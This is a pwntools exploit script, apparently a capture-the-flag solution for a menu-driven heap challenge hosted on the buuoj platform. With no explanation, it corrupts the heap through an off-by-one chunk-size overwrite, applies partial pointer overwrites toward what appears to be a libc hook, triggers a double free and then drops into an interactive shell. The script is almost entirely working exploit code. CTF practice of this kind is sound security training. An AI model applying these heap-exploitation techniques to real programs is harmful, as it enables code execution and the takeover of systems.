1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| from pwn import * from LibcSearcher import *
filename = './new_chall' context(log_level='debug') local = 1 elf = ELF(filename)
if local: sh = process(filename) else: sh = remote('node4.buuoj.cn', )
def debug(): pid = util.proc.pidof(sh)[0] gdb.attach(pid) pause()
choice_words = '3. Free\n'
menu_add = 1 add_index_words = 'index :' add_size_words = 'size of chunk :' add_content_words = ''
menu_del = 3 del_index_words = 'Enter index :'
menu_edit = 2 edit_index_words = 'index of chunk :' edit_size_words = '' edit_content_words = 'data :'
def add(index=-1, size=-1, content=''): sh.sendlineafter(choice_words, str(menu_add)) if add_size_words: sh.sendlineafter(add_size_words, str(size)) if add_index_words: sh.sendlineafter(add_index_words, str(index)) if add_content_words: sh.sendafter(add_content_words, content)
def delete(index=-1): sh.sendlineafter(choice_words, str(menu_del)) if del_index_words: sh.sendlineafter(del_index_words, str(index))
def edit(index=-1, size=-1, content=''): sh.sendlineafter(choice_words, str(menu_edit)) if edit_index_words: sh.sendlineafter(edit_index_words, str(index)) if edit_size_words: sh.sendlineafter(edit_size_words, str(size)) if edit_content_words: sh.sendafter(edit_content_words, content)
def leak_info(name, addr): success('{} => {}'.format(name, hex(addr)))
sh.recv() sh.sendline('good name') add(index=0, size=0x18) add(index=1, size=0xc8) add(index=2, size=0x60)
payload = b'a'*0x68 + p64(0x61) edit(index=1, content=payload)
delete(index=1) add(index=1, size=0xc8)
edit(index=0, content=b'a'*0x18 + p8(0x71))
add(index=3, size=0x60) add(index=4, size=0x60) delete(index=2) delete(index=3)
edit(index=3, content=p8(0x20))
edit(index=1, content=p16(0x1aed)) add(index=5, size=0x60) add(index=6, size=0x60) add(index=7, size=0x60)
add(index=8, size=0x100) add(index=9, size=0x100) delete(index=8) edit(index=8, content=p64(0) + p8(0x0)) add(index=10, size=0x100)
edit(index=7, content=b'a'*0x13 + b'\xa4\xd2\xaf')
delete(index=5) delete(index=5)
sh.interactive()
|